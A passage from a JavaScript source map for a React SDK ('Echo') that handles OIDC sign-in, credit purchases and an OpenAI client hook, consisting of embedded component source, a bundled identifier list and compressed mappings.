'pointer',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={e => {\n e.currentTarget.style.backgroundColor = '#e5e7eb';\n }}\n onMouseLeave={e => {\n e.currentTarget.style.backgroundColor = '#f3f4f6';\n }}\n >\n Close\n </button>\n </div>\n </div>\n </div>\n );\n };\n\n return (\n <>\n {children ? (\n <div\n onClick={() => setIsModalOpen(true)}\n style={{\n cursor: 'pointer',\n }}\n >\n {children}\n </div>\n ) : (\n <CompactButton />\n )}\n\n {isModalOpen && <Modal />}\n </>\n );\n}\n","import React, { useState } from 'react';\nimport { useEcho } from '../hooks/useEcho';\nimport { EchoSignInProps } from '../types';\nimport { sanitizeText } from '../utils/security';\nimport { Logo } from './Logo';\n\nexport function EchoSignIn({\n onSuccess,\n onError,\n className = '',\n children,\n}: EchoSignInProps) {\n const { signIn, isAuthenticated, isLoading, user, error } = useEcho();\n const [isHovered, setIsHovered] = useState(false);\n\n React.useEffect(() => {\n if (isAuthenticated && user && onSuccess) {\n onSuccess(user);\n }\n }, [isAuthenticated, user, onSuccess]);\n\n React.useEffect(() => {\n if (error && onError) {\n onError(new Error(error));\n }\n }, [error, onError]);\n\n const handleSignIn = async () => {\n try {\n await signIn();\n } catch (err) {\n if (onError) {\n onError(err instanceof Error ? err : new Error('Sign in failed'));\n }\n }\n };\n\n if (isAuthenticated) {\n return (\n <div className={`echo-signin-success ${className}`}>\n <div\n style={{\n display: 'flex',\n alignItems: 'center',\n gap: '8px',\n padding: '12px 16px',\n backgroundColor: '#f8fafc',\n border: '1px solid #e2e8f0',\n borderRadius: '8px',\n color: '#334155',\n fontSize: '14px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n fontWeight: '800',\n width: 'fit-content',\n }}\n >\n <Logo width={16} height={16} variant=\"light\" />\n <span>Signed in as {sanitizeText(user?.name || user?.email)}</span>\n </div>\n </div>\n );\n }\n\n return (\n <div className={`echo-signin ${className}`}>\n {children ? (\n <div onClick={handleSignIn} style={{ cursor: 'pointer' }}>\n {children}\n </div>\n ) : (\n <button\n onClick={handleSignIn}\n disabled={isLoading}\n className=\"echo-signin-button\"\n style={{\n display: 'flex',\n alignItems: 'center',\n gap: '8px',\n padding: '12px 20px',\n backgroundColor: isLoading\n ? '#f3f4f6'\n : isHovered\n ? '#f1f5f9'\n : '#ffffff',\n color: isLoading ? '#9ca3af' : '#09090b',\n border: '1px solid #e2e8f0',\n borderRadius: '8px',\n cursor: isLoading ? 'not-allowed' : 'pointer',\n fontSize: '14px',\n fontWeight: '800',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n transition: 'all 0.2s ease',\n boxShadow: '0 1px 2px 0 rgba(0, 0, 0, 0.05)',\n backdropFilter: 'blur(8px)',\n }}\n onMouseEnter={() => setIsHovered(true)}\n onMouseLeave={() => setIsHovered(false)}\n >\n <Logo width={16} height={16} variant=\"light\" />\n <span>{isLoading ? 'Signing in...' : 'Sign in'}</span>\n </button>\n )}\n\n {error && (\n <div\n className=\"echo-signin-error\"\n style={{\n marginTop: '12px',\n display: 'flex',\n alignItems: 'center',\n gap: '8px',\n padding: '12px 16px',\n backgroundColor: '#fef2f2',\n border: '1px solid #fecaca',\n borderRadius: '8px',\n color: '#dc2626',\n fontSize: '14px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n fontWeight: '800',\n width: 'fit-content',\n }}\n >\n <span>{error}</span>\n </div>\n )}\n </div>\n );\n}\n","import { useState, useEffect, useRef } from 'react';\nimport { useEcho } from './useEcho';\n\n// Type-only import to avoid runtime dependency\ntype OpenAI = import('openai').OpenAI;\n\ninterface UseEchoOpenAIOptions {\n baseURL?: string;\n enabled?: boolean; // Allow disabling the hook\n}\n\ninterface UseEchoOpenAIResult {\n openai: OpenAI;\n isReady: boolean;\n error: string | null;\n isLoading: boolean;\n}\n\nexport function useEchoOpenAI(\n options: UseEchoOpenAIOptions = {}\n): UseEchoOpenAIResult {\n const { baseURL = 'https://echo.router.merit.systems', enabled = true } =\n options;\n\n const { token, isAuthenticated } = useEcho();\n const [openai, setOpenai] = useState<OpenAI | undefined>(undefined);\n const [error, setError] = useState<string | null>(null);\n const [isLoading, setIsLoading] = useState(false);\n\n // Use ref to track if we should abort the current load operation\n const abortControllerRef = useRef<AbortController | null>(null);\n\n useEffect(() => {\n // Clean up any previous load operation\n if (abortControllerRef.current) {\n abortControllerRef.current.abort();\n }\n\n if (!enabled || !token || !isAuthenticated) {\n setOpenai(undefined);\n setError(null);\n setIsLoading(false);\n return;\n }\n\n const loadOpenAI = async () => {\n // Create new abort controller for this load operation\n const abortController = new AbortController();\n abortControllerRef.current = abortController;\n\n setIsLoading(true);\n setError(null);\n\n try {\n // Check if operation was aborted\n if (abortController.signal.aborted) {\n return;\n }\n\n // Dynamic import to only load OpenAI when needed\n const { default: OpenAI } = await import('openai');\n\n // Check again after async import\n if (abortController.signal.aborted) {\n return;\n }\n\n const client = new OpenAI({\n apiKey: token,\n baseURL,\n dangerouslyAllowBrowser: true,\n });\n\n // Only set state if not aborted\n if (!abortController.signal.aborted) {\n setOpenai(client);\n }\n } catch (err) {\n // Only handle error if not aborted\n if (!abortController.signal.aborted) {\n const errorMessage =\n err instanceof Error ? err.message : 'Failed to load OpenAI';\n\n // Check if it's a module not found error\n if (\n errorMessage.includes('Cannot resolve module') ||\n errorMessage.includes('Module not found') ||\n errorMessage.includes('openai')\n ) {\n setError(\n 'OpenAI package not found. Please install it with: pnpm add openai'\n );\n } else {\n setError(`Failed to initialize OpenAI client: ${errorMessage}`);\n }\n\n console.error('Error loading OpenAI:', err);\n setOpenai(undefined);\n }\n } finally {\n // Only update loading state if not aborted\n if (!abortController.signal.aborted) {\n setIsLoading(false);\n }\n }\n };\n\n loadOpenAI();\n\n // Cleanup function\n return () => {\n if (abortControllerRef.current) {\n abortControllerRef.current.abort();\n }\n };\n }, [token, isAuthenticated, baseURL, enabled]);\n\n return {\n openai: openai as OpenAI,\n isReady: openai !== undefined && !isLoading,\n error,\n isLoading,\n };\n}\n"],"names":["InvalidTokenError","Error","base64UrlDecode","str","output","replace","length","decodeURIComponent","atob","m","p","code","charCodeAt","toString","toUpperCase","b64DecodeUnicode","err","prototype","name","level","logger","Log2","nopLogger","debug","info","warn","error","Log","reset","setLevel","value","setLogger","Logger","_Logger","constructor","_name","this","args","_format","_method","create","method","methodLogger","Object","createStatic","staticMethod","staticLogger","prefix","JwtUtils","decode","token","options","pos","header","part","split","decoded","e","message","JSON","parse","jwtDecode","generateSignedJwt","payload","privateKey","encodedToken","CryptoUtils","encodeBase64Url","TextEncoder","encode","stringify","signature","window","crypto","subtle","sign","hash","Uint8Array","toBase64","val","btoa","map","chr","String","fromCharCode","join","_CryptoUtils","_randomWord","arr","Uint32Array","getRandomValues","generateUUIDv4","c","generateCodeVerifier","generateCodeChallenge","code_verifier","data","hashed","digest","generateBasicAuth","client_id","client_secret","alg","msgUint8","hashBuffer","customCalculateJwkThumbprint","jwk","jsonObject","kty","n","crv","x","y","k","utf8encodedAndHashed","generateDPoPProof","url","accessToken","httpMethod","keyPair","nonce","hashedToken","encodedHash","jti","randomUUID","htm","htu","iat","Math","floor","Date","now","ath","publicJwk","exportKey","publicKey","typ","TypeError","generateDPoPJkt","generateDPoPKeys","generateKey","namedCurve","input","Event","_callbacks","_logger","addHandler","cb","push","removeHandler","idx","lastIndexOf","splice","raise","ev","PopupUtils","center","features","_a","width","find","outerWidth","left","max","round","screenX","height","top","screenY","outerHeight","serialize","entries","filter","key","Timer","_Timer","super","arguments","_timerHandle","_expiration","_callback","diff","getEpochTime","cancel","init","durationInSeconds","logger2","expiration","timerDurationInSeconds","min","setInterval","clearInterval","UrlUtils","readParams","responseMode","params","URL","URLSearchParams","slice","URL_STATE_DELIMITER","ErrorResponse","form","_b","_c","error_description","error_uri","state","userState","session_state","url_state","ErrorTimeout","AccessTokenEvents","_expiringTimer","_expiredTimer","_expiringNotificationTimeInSeconds","expiringNotificationTimeInSeconds","load","container","access_token","expires_in","duration","expiring","expired","unload","addAccessTokenExpiring","removeAccessTokenExpiring","addAccessTokenExpired","removeAccessTokenExpired","CheckSessionIFrame","_client_id","_intervalInSeconds","_stopOnError","_timer","_session_state","_message","origin","_frame_origin","source","_frame","contentWindow","stop","parsedUrl","document","createElement","style","visibility","position","src","href","Promise","resolve","onload","body","appendChild","addEventListener","start","send","postMessage","InMemoryWebStorage","_data","clear","getItem","setItem","removeItem","getOwnPropertyNames","index","ErrorDPoPNonce","JsonService","additionalContentTypes","_jwtHandler","_extraHeaders","_contentTypes","fetchWithTimeout","timeoutInSeconds","initFetch","fetch","controller","AbortController","timeoutId","setTimeout","abort","signal","DOMException","clearTimeout","getJson","credentials","headers","Accept","response","_appendExtraHeaders","status","contentType","get","item","startsWith","throw","ok","text","json","statusText","postForm","basicAuth","initCredentials","extraHeaders","responseText","has","customKeys","keys","protectedHeaders","preventOverride","forEach","headerName","includes","toLocaleLowerCase","content","MetadataService","_settings","_signingKeys","_metadata","_metadataUrl","metadataUrl","_jsonService","signingKeys","metadata","fetchRequestCredentials","_fetchRequestCredentials","resetSigningKeys","getMetadata","requestTimeoutInSeconds","assign","metadataSeed","getIssuer","_getMetadataProperty","getAuthorizationEndpoint","getUserInfoEndpoint","getTokenEndpoint","optional","getCheckSessionIframe","getEndSessionEndpoint","getRevocationEndpoint","getKeysEndpoint","getSigningKeys","jwks_uri","keySet","Array","isArray","WebStorageStateStore","store","localStorage","_store","_prefix","set","remove","getAllKeys","len","indexOf","substr","OidcClientSettingsStore","authority","response_type","scope","redirect_uri","post_logout_redirect_uri","client_authentication","prompt","display","max_age","ui_locales","acr_values","resource","response_mode","filterProtocolClaims","loadUserInfo","staleStateAgeInSeconds","mergeClaimsStrategy","array","disablePKCE","stateStore","revokeTokenAdditionalContentTypes","refreshTokenAllowedScope","extraQueryParams","extraTokenParams","dpop","omitScopeWhenRequesting","endsWith","UserInfoService","_metadataService","_getClaimsFromJwt","async","getClaims","claims","TokenClient","exchangeCode","grant_type","append","exchangeCredentials","exchangeRefreshToken","refresh_token","param","revoke","token_type_hint","ResponseValidator","_claimsService","_userInfoService","_tokenClient","validateSigninResponse","_processSigninState","_processCode","isOpenId","_validateIdTokenAttributes","_processClaims","skipUserInfo","validateCredentialsResponse","shouldValidateSubClaim","id_token","validateRefreshResponse","profile","hasIdToken","validateSignoutResponse","id","validateSub","sub","mergeClaims","tokenResponse","existingToken","incoming","existing","auth_time","azp","State","_State","created","request_type","toStorageString","fromStorageString","storageString","clearStaleState","storage","age","cutoff","i","SigninState","_SigninState","code_challenge","_SigninRequest","state_data","dpopJkt","optionalParams","searchParams","stateParam","r","SigninRequest","SigninResponse","token_type","splitState","expires_at","Number","SignoutRequest","id_token_hint","SignoutResponse","DefaultProtocolClaims","InternalRequiredProtocolClaims","ClaimsService","result","protocolClaims","claim","claims1","claims2","values","mergedValues","DPoPState","OidcClient","settings","metadataService","_validator","createSigninRequest","request","request_uri","login_hint","signinRequest","signinState","readSigninResponseState","removeState","storedStateString","processSigninResponse","dpopProof","getDpopProof","DPoP","dpopStore","dpopState","processResourceOwnerPasswordCredentials","username","password","signinResponse","useRefreshToken","allowableScopes","s","createSignoutRequest","signoutState","readSignoutResponseState","processSignoutResponse","revokeToken","type","SessionMonitor","_userManager","_start","user","_sub","_checkSessionIFrame","intervalInSeconds","checkSessionIntervalInSeconds","stopOnError","stopCheckSessionOnError","checkSessionIFrame","_stop","monitorAnonymousSession","timerHandle","session","querySessionStatus","tmpUser","raiseEvent","events","_raiseUserSessionChanged","_raiseUserSignedOut","_raiseUserSignedIn","addUserLoaded","addUserUnloaded","_init","catch","getUser","User","_User","scopes","messageSource","AbstractChildWindow","_abort","_disposeHandlers","Set","_window","navigate","location","keepOpen","reject","listener","scriptOrigin","_dispose","add","removeEventListener","channel","BroadcastChannel","close","reason","dispose","_notifyParent","parent","targetOrigin","msgData","DefaultPopupWindowFeatures","toolbar","closePopupWindowAfterInSeconds","DefaultPopupTarget","DefaultAccessTokenExpiringNotificationTimeInSeconds","DefaultCheckSessionIntervalInSeconds","UserManagerSettingsStore","popup_redirect_uri","popup_post_logout_redirect_uri","popupWindowFeatures","popupWindowTarget","redirectMethod","redirectTarget","iframeNotifyParentOrigin","iframeScriptOrigin","silent_redirect_uri","silentRequestTimeoutInSeconds","automaticSilentRenew","validateSubOnSilentRenew","includeIdTokenInSilentRenew","monitorSession","query_status_response_type","revokeTokenTypes","revokeTokensOnSignout","includeIdTokenInSilentSignout","accessTokenExpiringNotificationTimeInSeconds","userStore","sessionStorage","IFrameWindow","_IFrameWindow","_timeoutInSeconds","createHiddenIframe","iframe","timer","parentNode","_a2","frame","target","removeChild","notifyParent","IFrameNavigator","prepare","callback","PopupWindow","popupSignal","centeredPopup","open","closed","focus","popupClosedInterval","clearPopupClosedInterval","delete","notifyOpener","opener","PopupNavigator","RedirectNavigator","targetWindow","self","redirect","bind","promise","UserManagerEvents","_userLoaded","_userUnloaded","_silentRenewError","_userSignedIn","_userSignedOut","_userSessionChanged","removeUserLoaded","removeUserUnloaded","addSilentRenewError","removeSilentRenewError","_raiseSilentRenewError","addUserSignedIn","removeUserSignedIn","addUserSignedOut","removeUserSignedOut","addUserSessionChanged","removeUserSessionChanged","SilentRenewService","_isStarted","_retryTimer","_tokenExpiring","signinSilent","RefreshState","UserManager","redirectNavigator","popupNavigator","iframeNavigator","_client","_redirectNavigator","_popupNavigator","_iframeNavigator","_events","_silentRenewService","startSilentRenew","_sessionMonitor","_loadUser","removeUser","storeUser","signinRedirect","requestArgs","bind_authorization_code","handle","_signinStart","signinRedirectCallback","_signinEnd","signinResourceOwnerCredentials","_buildUser","signinPopup","_signin","signinPopupCallback","_useRefreshToken","verifySub","signinSilentCallback","signinCallback","signoutCallback","signoutRedirectCallback","signoutPopupCallback","signoutSilentCallback","navResponse","signoutRedirect","_signoutStart","_signoutEnd","signoutPopup","_signout","_revokeInternal","signoutRequest","signoutResponse","signoutSilent","revokeTokens","types","typesPresent","stopSilentRenew","_userStoreKey","dpopSettings","dpopKeys","AuthContext","React","createContext","displayName","initialAuthState","isLoading","isAuthenticated","reducer","action","activeNavigator","innerError","stack","signinError","normalizeErrorFn","signoutError","renewSilentError","normalizeError","fallbackMessage","stringFieldOf","element","fieldName","or","userManagerContextKeys","navigatorKeys","unsupportedEnvironment","fnName","UserManagerImpl","AuthProvider","props","children","onSigninCallback","skipSigninCallback","matchSignoutCallback","onSignoutCallback","onRemoveUser","userManager","userManagerProp","userManagerSettings","React2","useState","dispatch","useReducer","userManagerContext","useMemo","fromEntries","didInitialize","useRef","useEffect","current","search","hasAuthParams","resp","handleUserLoaded","handleUserUnloaded","handleUserSignedOut","handleSilentRenewError","useCallback","contextValue","Provider","useAuth","context","React3","useContext","console","fn","thisArg","apply","getPrototypeOf","iterator","toStringTag","Symbol","kindOf","thing","call","cache","toLowerCase","kindOfTest","typeOfTest","isUndefined","isArrayBuffer","isString","isFunction","isNumber","isObject","isPlainObject","isDate","isFile","isBlob","isFileList","isURLSearchParams","isReadableStream","isRequest","isResponse","isHeaders","obj","allOwnKeys","l","findKey","_key","_global","globalThis","global","isContextDefined","isTypedArray","TypedArray","isHTMLForm","hasOwnProperty","prop","isRegExp","reduceDescriptors","descriptors","getOwnPropertyDescriptors","reducedDescriptors","descriptor","ret","defineProperties","isAsyncFn","_setImmediate","setImmediateSupported","setImmediate","postMessageSupported","random","callbacks","shift","asap","queueMicrotask","process","nextTick","utils$1","isBuffer","isFormData","kind","FormData","isArrayBufferView","ArrayBuffer","isView","buffer","isBoolean","isStream","pipe","merge","caseless","assignValue","targetKey","extend","a","b","trim","stripBOM","inherits","superConstructor","defineProperty","toFlatObject","sourceObj","destObj","propFilter","merged","searchString","lastIndex","toArray","forEachEntry","_iterator","next","done","pair","matchAll","regExp","matches","exec","hasOwnProp","freezeMethods","enumerable","writable","toObjectSet","arrayOrString","delimiter","define","toCamelCase","p1","p2","noop","toFiniteNumber","defaultValue","isFinite","isSpecCompliantForm","toJSONObject","visit","reducedValue","isThenable","then","isIterable","AxiosError","config","captureStackTrace","toJSON","description","number","fileName","lineNumber","columnNumber","utils","from","customProps","axiosError","cause","isVisitable","removeBrackets","renderKey","path","dots","concat","predicates","test","toFormData","formData","metaTokens","indexes","option","visitor","defaultVisitor","useBlob","Blob","convertValue","toISOString","Buffer","some","isFlatArray","el","exposedHelpers","build","pop","charMap","encodeURIComponent","match","AxiosURLSearchParams","_pairs","buildURL","_encode","serializeFn","serializedParams","hashmarkIndex","encoder","InterceptorManager","handlers","use","fulfilled","rejected","synchronous","runWhen","eject","h","transitionalDefaults","silentJSONParsing","forcedJSONParsing","clarifyTimeoutError","platform$1","isBrowser","classes","protocols","hasBrowserEnv","_navigator","navigator","hasStandardBrowserEnv","product","hasStandardBrowserWebWorkerEnv","WorkerGlobalScope","importScripts","platform","formDataToJSON","buildPath","isNumericKey","isLast","arrayToObject","parsePropPath","defaults","transitional","adapter","transformRequest","getContentType","hasJSONContentType","isObjectPayload","setContentType","helpers","isNode","toURLEncodedForm","formSerializer","_FormData","env","rawValue","parser","stringifySafely","transformResponse","JSONRequested","responseType","strictJSONParsing","ERR_BAD_RESPONSE","timeout","xsrfCookieName","xsrfHeaderName","maxContentLength","maxBodyLength","validateStatus","common","ignoreDuplicateOf","$internals","normalizeHeader","normalizeValue","matchHeaderValue","isHeaderNameFilter","AxiosHeaders$1","valueOrRewrite","rewrite","setHeader","_value","_header","_rewrite","lHeader","setHeaders","rawHeaders","parsed","line","substring","parseHeaders","dest","entry","tokens","tokensRE","parseTokens","matcher","deleted","deleteHeader","normalize","format","normalized","w","char","formatHeader","targets","asStrings","getSetCookie","first","computed","accessor","accessors","defineAccessor","accessorName","methodName","arg1","arg2","arg3","configurable","buildAccessors","transformData","fns","AxiosHeaders","isCancel","__CANCEL__","CanceledError","AxiosError$1","ERR_CANCELED","settle","ERR_BAD_REQUEST","mapped","headerValue","progressEventReducer","isDownloadStream","freq","bytesNotified","_speedometer","samplesCount","bytes","timestamps","firstSampleTS","head","tail","chunkLength","startedAt","bytesCount","passed","speedometer","lastArgs","timestamp","threshold","invoke","throttle","loaded","total","lengthComputable","progressBytes","rate","progress","estimated","event","progressEventDecorator","throttled","asyncDecorator","isURLSameOrigin","isMSIE","protocol","host","port","userAgent","cookies","write","expires","domain","secure","cookie","toGMTString","read","RegExp","buildFullPath","baseURL","requestedURL","allowAbsoluteUrls","isRelativeUrl","relativeURL","combineURLs","headersToObject","mergeConfig","config1","config2","getMergedValue","mergeDeepProperties","valueFromConfig2","defaultToConfig2","mergeDirectKeys","mergeMap","paramsSerializer","timeoutMessage","withCredentials","withXSRFToken","onUploadProgress","onDownloadProgress","decompress","beforeRedirect","transport","httpAgent","httpsAgent","cancelToken","socketPath","responseEncoding","configValue","resolveConfig","newConfig","auth","unescape","Boolean","xsrfValue","xhrAdapter","XMLHttpRequest","_config","requestData","requestHeaders","onCanceled","uploadThrottled","downloadThrottled","flushUpload","flushDownload","unsubscribe","onloadend","responseHeaders","getAllResponseHeaders","onreadystatechange","readyState","responseURL","onabort","ECONNABORTED","onerror","ERR_NETWORK","ontimeout","timeoutErrorMessage","ETIMEDOUT","setRequestHeader","upload","subscribe","aborted","parseProtocol","composeSignals","signals","streamChunk","chunk","chunkSize","byteLength","end","readStream","stream","asyncIterator","reader","getReader","trackStream","onProgress","onFinish","iterable","readBytes","_onFinish","ReadableStream","pull","loadedBytes","enqueue","return","highWaterMark","isFetchSupported","Request","Response","isReadableStreamSupported","encodeText","arrayBuffer","supportsRequestStream","duplexAccessed","hasContentType","duplex","supportsResponseStream","resolvers","res","_","ERR_NOT_SUPPORT","resolveBodyLength","getContentLength","size","_request","getBodyLength","knownAdapters","http","xhr","fetchOptions","composedSignal","toAbortSignal","requestContentLength","contentTypeHeader","flush","isCredentialsSupported","isStreamResponse","responseContentLength","responseData","renderReason","isResolvedHandle","adapters","nameOrAdapter","rejectedReasons","reasons","throwIfCancellationRequested","throwIfRequested","dispatchRequest","VERSION","validators","deprecatedWarnings","validators$1","validator","version","formatMessage","opt","desc","opts","ERR_DEPRECATED","spelling","correctSpelling","assertOptions","schema","allowUnknown","ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","Axios$1","instanceConfig","interceptors","configOrUrl","dummy","boolean","function","baseUrl","withXsrfToken","contextHeaders","requestInterceptorChain","synchronousRequestInterceptors","interceptor","unshift","responseInterceptorChain","chain","onFulfilled","onRejected","getUri","Axios","generateHTTPMethod","isForm","HttpStatusCode","Continue","SwitchingProtocols","Processing","EarlyHints","Ok","Created","Accepted","NonAuthoritativeInformation","NoContent","ResetContent","PartialContent","MultiStatus","AlreadyReported","ImUsed","MultipleChoices","MovedPermanently","Found","SeeOther","NotModified","UseProxy","Unused","TemporaryRedirect","PermanentRedirect","BadRequest","Unauthorized","PaymentRequired","Forbidden","NotFound","MethodNotAllowed","NotAcceptable","ProxyAuthenticationRequired","RequestTimeout","Conflict","Gone","LengthRequired","PreconditionFailed","PayloadTooLarge","UriTooLong","UnsupportedMediaType","RangeNotSatisfiable","ExpectationFailed","ImATeapot","MisdirectedRequest","UnprocessableEntity","Locked","FailedDependency","TooEarly","UpgradeRequired","PreconditionRequired","TooManyRequests","RequestHeaderFieldsTooLarge","UnavailableForLegalReasons","InternalServerError","NotImplemented","BadGateway","ServiceUnavailable","GatewayTimeout","HttpVersionNotSupported","VariantAlsoNegotiates","InsufficientStorage","LoopDetected","NotExtended","NetworkAuthenticationRequired","axios","createInstance","defaultConfig","instance","CancelToken","executor","resolvePromise","_listeners","onfulfilled","_resolve","Cancel","all","promises","spread","isAxiosError","formToJSON","getAdapter","default","prototype$1","encode$1","InterceptorManager$1","freeze","__proto__","defaults$1","composeSignals$1","CancelToken$1","HttpStatusCode$1","exports","require$$0","t","resendFailedRequest","getRetryInstance","unsetCache","createRequestQueueInterceptor","createRefreshCall","shouldInterceptError","mergeOptions","defaultOptions","statusCodes","pauseInstanceWhileRefreshing","skipWhileRefreshing","o","skipAuthRefresh","interceptNetworkError","shouldRefresh","parseInt","skipInstances","refreshCall","requestQueueInterceptorId","onRetry","retryInstance","u","finally","ApiKeyTokenProvider","apiKey","getAccessToken","refreshToken","OAuthTokenProvider","__publicField","getTokenFn","refreshTokenFn","onRefreshErrorFn","onRefreshError","ECHO_BASE_URL","EchoError","_EchoError","details","statusCode","endpoint","originalError","EchoApiError","EchoNetworkError","EchoTimeoutError","ERROR_CODES","parseEchoError","baseErrorMessage","getUserFriendlyMessage","BaseResource","handleRequest","operation","handleError","AppsResource","listEchoApps","apps","getEchoApp","appId","getAppUrl","BalanceResource","getBalance","getFreeBalance","echoAppId","post","ModelsResource","getSupportedModels","listSupportedModels","models","getSupportedModelsByProvider","models_by_provider","PaymentsResource","createPaymentLink","getPaymentUrl","amount","successUrl","paymentLink","UsersResource","getUserInfo","registerReferralCode","EchoClient","overrides","tokenProvider","ECHO_API_KEY","createAuthRefreshInterceptor","failedRequest","newToken","balance","payments","users","useEchoClient","apiUrl","client","setClient","newClient","EchoContext","EchoProviderInternal","echoUser","email","preferred_username","picture","parseEchoUser","echoClient","freeTierBalance","refreshBalance","balanceError","balanceLoading","setBalance","setFreeTierBalance","setError","setIsLoading","balanceResponse","freeTierResponse","echoError","userFriendlyMessage","useEchoBalance","paymentError","paymentLoading","useEchoPayments","clearAuth","getToken","combinedError","combinedLoading","rawUser","signIn","signOut","useEcho","setPrototypeOf","isFrozen","getOwnPropertyDescriptor","seal","construct","Reflect","fun","thisValue","Func","arrayForEach","unapply","arrayLastIndexOf","arrayPop","arrayPush","arraySplice","stringToLowerCase","stringToString","stringMatch","stringReplace","stringIndexOf","stringTrim","objectHasOwnProperty","regExpTest","typeErrorCreate","func","_len2","_key2","_len","addToSet","transformCaseFunc","lcElement","cleanArray","clone","object","newObject","property","lookupGetter","html$1","svg$1","svgFilters","svgDisallowed","mathMl$1","mathMlDisallowed","html","svg","mathMl","xml","MUSTACHE_EXPR","ERB_EXPR","TMPLIT_EXPR","DATA_ATTR","ARIA_ATTR","IS_ALLOWED_URI","IS_SCRIPT_OR_DATA","ATTR_WHITESPACE","DOCTYPE_NAME","CUSTOM_ELEMENT","EXPRESSIONS","NODE_TYPE","purify","createDOMPurify","DOMPurify","root","removed","nodeType","Element","isSupported","originalDocument","currentScript","DocumentFragment","HTMLTemplateElement","Node","NodeFilter","NamedNodeMap","MozNamedAttrMap","HTMLFormElement","DOMParser","trustedTypes","ElementPrototype","cloneNode","getNextSibling","getChildNodes","getParentNode","template","ownerDocument","trustedTypesPolicy","emptyHTML","implementation","createNodeIterator","createDocumentFragment","getElementsByTagName","importNode","hooks","afterSanitizeAttributes","afterSanitizeElements","afterSanitizeShadowDOM","beforeSanitizeAttributes","beforeSanitizeElements","beforeSanitizeShadowDOM","uponSanitizeAttribute","uponSanitizeElement","uponSanitizeShadowNode","createHTMLDocument","IS_ALLOWED_URI$1","ALLOWED_TAGS","DEFAULT_ALLOWED_TAGS","ALLOWED_ATTR","DEFAULT_ALLOWED_ATTR","CUSTOM_ELEMENT_HANDLING","tagNameCheck","attributeNameCheck","allowCustomizedBuiltInElements","FORBID_TAGS","FORBID_ATTR","ALLOW_ARIA_ATTR","ALLOW_DATA_ATTR","ALLOW_UNKNOWN_PROTOCOLS","ALLOW_SELF_CLOSE_IN_ATTR","SAFE_FOR_TEMPLATES","SAFE_FOR_XML","WHOLE_DOCUMENT","SET_CONFIG","FORCE_BODY","RETURN_DOM","RETURN_DOM_FRAGMENT","RETURN_TRUSTED_TYPE","SANITIZE_DOM","SANITIZE_NAMED_PROPS","KEEP_CONTENT","IN_PLACE","USE_PROFILES","FORBID_CONTENTS","DEFAULT_FORBID_CONTENTS","DATA_URI_TAGS","DEFAULT_DATA_URI_TAGS","URI_SAFE_ATTRIBUTES","DEFAULT_URI_SAFE_ATTRIBUTES","MATHML_NAMESPACE","SVG_NAMESPACE","HTML_NAMESPACE","NAMESPACE","IS_EMPTY_INPUT","ALLOWED_NAMESPACES","DEFAULT_ALLOWED_NAMESPACES","MATHML_TEXT_INTEGRATION_POINTS","HTML_INTEGRATION_POINTS","COMMON_SVG_AND_HTML_ELEMENTS","PARSER_MEDIA_TYPE","SUPPORTED_PARSER_MEDIA_TYPES","CONFIG","formElement","isRegexOrFunction","testValue","Function","_parseConfig","cfg","ADD_URI_SAFE_ATTR","ADD_DATA_URI_TAGS","ALLOWED_URI_REGEXP","ADD_TAGS","ADD_ATTR","table","tbody","TRUSTED_TYPES_POLICY","createHTML","createScriptURL","purifyHostElement","createPolicy","suffix","ATTR_NAME","hasAttribute","getAttribute","policyName","scriptUrl","_createTrustedTypesPolicy","ALL_SVG_TAGS","ALL_MATHML_TAGS","_forceRemove","node","_removeAttribute","attribute","getAttributeNode","removeAttribute","setAttribute","_initDocument","dirty","doc","leadingWhitespace","dirtyPayload","parseFromString","documentElement","createDocument","innerHTML","insertBefore","createTextNode","childNodes","_createNodeIterator","SHOW_ELEMENT","SHOW_COMMENT","SHOW_TEXT","SHOW_PROCESSING_INSTRUCTION","SHOW_CDATA_SECTION","_isClobbered","nodeName","textContent","attributes","namespaceURI","hasChildNodes","_isNode","_executeHooks","currentNode","hook","_sanitizeElements","tagName","allowedTags","firstElementChild","_isBasicCustomElement","childClone","__removalCount","parentTagName","_checkValidNamespace","expr","_isValidAttribute","lcTag","lcName","_sanitizeAttributes","hookEvent","attrName","attrValue","keepAttr","allowedAttributes","forceKeepAttr","attr","initValue","getAttributeType","setAttributeNS","_sanitizeShadowDOM","fragment","shadowNode","shadowIterator","nextNode","sanitize","importedNode","returnNode","firstChild","nodeIterator","shadowroot","shadowrootmode","serializedHTML","outerHTML","doctype","setConfig","clearConfig","isValidAttribute","tag","addHook","entryPoint","hookFunction","removeHook","removeHooks","removeAllHooks","JSDOM","require","sanitizeText","stringInput","sanitized","openPaymentFlow","paymentUrl","onComplete","onCancel","onError","safeUrl","sanitizeUrl","popup","checkComplete","confirm","handleFocus","Logo","className","variant","fillColor","jsxRuntime","jsxs","xmlns","viewBox","jsx","points","d","transform","CustomAmountInput","onAddCredits","isProcessing","setAmount","inputRef","isValidAmount","flexDirection","alignItems","gap","fontSize","color","fontFamily","ref","placeholder","onChange","textAlign","padding","border","borderRadius","outline","backgroundColor","step","onClick","cursor","textDecoration","onMouseEnter","currentTarget","onMouseLeave","purchaseAmount","disabled","fontWeight","isClient","setIsClient","oidcConfig","__echoUserManager","redirectUri","authorization_endpoint","token_endpoint","userinfo_endpoint","issuer","end_session_endpoint","history","replaceState","title","pathname","onSuccess","isHovered","setIsHovered","handleSignIn","transition","boxShadow","backdropFilter","marginTop","onPurchaseComplete","setIsProcessing","purchaseError","setPurchaseError","isModalOpen","setIsModalOpen","showCustomAmount","setShowCustomAmount","formatCurrency","Intl","NumberFormat","currency","calculateAvailableSpend","userSpendInfo","amountLeft","handlePurchase","closeModal","CompactButton","fill","stroke","strokeWidth","strokeLinecap","strokeLinejoin","Modal","right","bottom","justifyContent","zIndex","maxWidth","maxHeight","overflow","minHeight","marginBottom","margin","spendLimit","marginLeft","amountSpent","borderTop","paddingTop","borderColor","Fragment","enabled","openai","setOpenai","abortControllerRef","abortController","OpenAI","import","dangerouslyAllowBrowser","errorMessage","loadOpenAI","isReady"],"mappings":"mfAAO,MAAMA,UAA0BC,OAYvC,SAASC,EAAgBC,GACjB,IAAAC,EAASD,EAAIE,QAAQ,KAAM,KAAKA,QAAQ,KAAM,KAC1C,OAAAD,EAAOE,OA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